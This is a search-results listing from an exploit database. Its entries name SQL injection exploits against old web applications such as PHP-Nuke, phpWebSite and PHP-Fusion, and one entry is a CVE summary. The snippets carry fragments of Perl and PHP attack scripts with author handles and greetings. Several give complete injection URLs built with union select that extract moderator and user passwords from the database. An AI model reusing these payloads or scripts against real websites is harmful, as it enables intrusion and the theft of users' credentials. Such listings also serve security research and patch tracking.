3821 matches found
Woltlab Burning Board 2.x Datenbank MOD (fileid) Remote SQL Injection
No description provided by source. !/usr/bin/perl Method found & Exploit scripted by nukedx Contacts ICQ: 10072 MSN/Main: [email protected] web: www.nukedx.com Usage: wbb.pl victim directory modpage dbnum userid Original Advisory: http://www.nukedx.com/?viewdoc=17 use IO::Socket; if@ARGV 5 print ...
Woltlab Burning Board 2.x Datenbank MOD (fileid) Remote SQL Injection
Exploit for unknown platform in category web applications ===================================================================== Woltlab Burning Board 2.x Datenbank MOD fileid Remote SQL Injection ===================================================================== !/usr/bin/perl Method found &...
SaphpLesson 2.0 (forumid) Remote SQL Injection Exploit
Exploit for unknown platform in category web applications...
SaphpLesson 2.0 (forumid) Remote SQL Injection Exploit
No description provided by source. !/usr/bin/perl For password http://www.example.com/path/showcat.php?forumid=-1%20union%20select%20ModPassword%20from%20modretor For username http://www.example.com/path/showcat.php?forumid=-1%20union%20select%20ModName%20from%20modretor sent in by SnIpErSA...
Pentacle In-Out Board <= 6.03 (newsdetailsview) Remote SQL Injection
No description provided by source. !/usr/bin/perl Method found & Exploit scripted by nukedx Contacts ICQ: 10072 MSN/Main: [email protected] web: www.nukedx.com Usage: penta.pl victim directory Original Advisory: http://www.nukedx.com/?viewdoc=14 use IO::Socket; if@ARGV 3 print " ++ +Pentacle In-O...
Pentacle In-Out Board <= 6.03 (newsdetailsview) Remote SQL Injection
Exploit for unknown platform in category web applications ==================================================================== Pentacle In-Out Board use IO::Socket; if@ARGV + + Example: penta.pl sux.com / 1 + + Method found & Exploit scripted by nukedx + ++ "; exit; Local variables $pentaserver =...
Lansuite <= 2.1.0 Beta (fid) Remote SQL Injection Exploit
No description provided by source. ? errorreportingEERROR; function xssinit if !extensionloaded'phpcurl' if !dl'curl.so' and !dl'phpcurl.so' and !dl'phpcurl.dll' die "oo error - cannot load curl extension!"; function xssheader echo...
Lansuite <= 2.1.0 Beta (fid) Remote SQL Injection Exploit
Exploit for unknown platform in category web applications ========================================================= Lansuite = 2.1.0 Beta fid Remote SQL Injection Exploit ========================================================= ? errorreportingEERROR; function xssinit if !extensionloaded'phpcurl...
phpWebSite <= 0.10.0-full (topics.php) Remote SQL Injection Exploit
No description provided by source. !/usr/bin/perl advisory sent in by SnIpErSA selfar2002athotmail.com http://www.target.com/topics.php?op=viewtopic&topic=-1%20Union%20select%20name,name,pass,name%20From%20users%20where%20uid=1 ported by str0ke milw0rm.com from x97Rangs code RST/GHC...
PHP-Nuke 7.5 - 7.8 (Search) Remote SQL Injection Exploit
No description provided by source. / | | | | | | | / | | | | | |/ \ | | --- | |----| | \ \ || | | | || / Copyright C 2006 Untruth Labs Critical sql injection in phpNuke 7.5-7.8 Exploit coded by unitedbr greetz: paulin, barros, xgc found by Janek Vind "waraxe" Original advisory:...
ilchClan <= 1.05g (tid) Remote SQL Injection Exploit
No description provided by source. ? errorreportingEERROR; function xssinit if !extensionloaded'phpcurl' if !dl'curl.so' and !dl'phpcurl.so' and !dl'phpcurl.dll' die "oo error - cannot load curl extension!"; function xssheader echo...
BXCP <= 0.2.9.9 (tid) Remote SQL Injection Exploit
Exploit for unknown platform in category web applications ================================================== BXCP = 0.2.9.9 tid Remote SQL Injection Exploit ================================================== ? errorreportingEERROR; function xssinit if !extensionloaded'phpcurl' if !dl'curl.so' and...
Zorum Forum 3.5 (rollid) Remote SQL Injection Exploit
Exploit for unknown platform in category web applications ===================================================== Zorum Forum 3.5 rollid Remote SQL Injection Exploit ===================================================== !/usr/bin/perl use LWP::UserAgent;...
webSPELL <= 4.01 (title_op) Remote SQL Injection Exploit
No description provided by source. ? errorreportingEERROR; function xssinit if !extensionloaded'phpcurl' if !dl'curl.so' and !dl'phpcurl.so' and !dl'phpcurl.dll' die "oo error - cannot load curl extension!"; function xssheader echo...
Phpclanwebsite 1.23.1 (par) Remote SQL Injection Exploit
No description provided by source. !perl Phpclanwebsite 1.23.1 SQL injection exploit by matrixkiller Greets to all omega-team membersand specially to EcLiPsE and also to h4cky0uh4cky0u.org, Alpha-Fan, Chameleon and all my friends The exploit was tested on phpclan's website and it worked + my loca...
Dev Web Management System <= 1.5 (cat) Remote SQL Injection Exploit
Exploit for unknown platform in category web applications =================================================================== Dev Web Management System this works regardless of magicquotesgpc setting usage: launch from Apache, fill in requested fields, then go! Sun-Tzu: "Prohibit the taking of...
Dev Web Management System <= 1.5 (cat) Remote SQL Injection Exploit
No description provided by source. ?php ---Dev15sqlxpl.php 9.54 24/12/2005 Dev =1.5 'cat' SQL injection / admin MD5 password hash disclosure coded by rgod site: http://rgod.altervista.org - this works regardless of magicquotesgpc setting usage: launch from Apache, fill in requested fields, then g...
PHP-Fusion 6.00.3 (rating) Parameter Remote SQL Injection Exploit
No description provided by source. !/usr/bin/perl Exploit for PHP-Fusion 6.00.3 Released Coded by:[email protected] Greetz: http://www.curityreason.com use strict; use warnings; use LWP::UserAgent; use HTTP::Cookies; if!$ARGV3 printEOF; Exploit for PHP-Fusion 6.00.3 Released Coded by krasza...
PHP-Fusion 6.00.3 (rating) Parameter Remote SQL Injection Exploit
Exploit for unknown platform in category web applications ================================================================= PHP-Fusion 6.00.3 rating Parameter Remote SQL Injection Exploit ================================================================= !/usr/bin/perl Exploit for PHP-Fusion 6.00....
CVE-2005-4155
registration.PHP in ATutor 1.5.1 pl2 allows remote attackers to execute arbitrary SQL commands via an e-mail address that ends in a NULL character, which bypasses the PHP regular expression check. NOTE: it is possible that this is actually a bug in PHP code, in which case this should not be treat...